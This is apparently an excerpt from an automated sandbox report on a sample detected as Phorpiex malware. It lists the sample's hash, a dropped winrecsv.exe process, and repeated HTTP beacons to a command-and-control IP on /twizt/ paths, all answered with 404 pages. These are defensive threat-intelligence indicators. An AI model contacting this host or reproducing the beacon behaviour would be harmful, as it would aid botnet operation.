Aug 15, 2022 18:32:23.817989111 CEST	7028	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:23 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:24.838673115 CEST	7035	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:24.898762941 CEST	7036	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:24 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:25.923537016 CEST	7036	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:25.980289936 CEST	7037	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:25 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49799	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:29.194683075 CEST	7038	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:29.251115084 CEST	7039	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:29 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:30.271567106 CEST	7039	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:30.333163977 CEST	7040	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:30 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:31.339890957 CEST	7045	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:31.397250891 CEST	7045	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:31 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:32.406368971 CEST	7046	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:32.463176012 CEST	7046	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:32 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:33.479639053 CEST	7047	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:33.536449909 CEST	7047	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:33 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Id4zlrsrZ4.exePID: 6224, Parent PID: 1004

General

Target ID:	0
Start time:	18:31:06
Start date:	15/08/2022
Path:	C:\Users\user\Desktop\Id4zlrsrZ4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Id4zlrsrZ4.exe"
Imagebase:	0x400000
File size:	77312 bytes
MD5 hash:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000000.339631076.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000003.345540148.0000000000733000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000002.348024370.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: winrecsv.exePID: 6244, Parent PID: 6224

General

Target ID:	1
Start time:	18:31:08
Start date:	15/08/2022
Path:	C:\Windows\winrecsv.exe
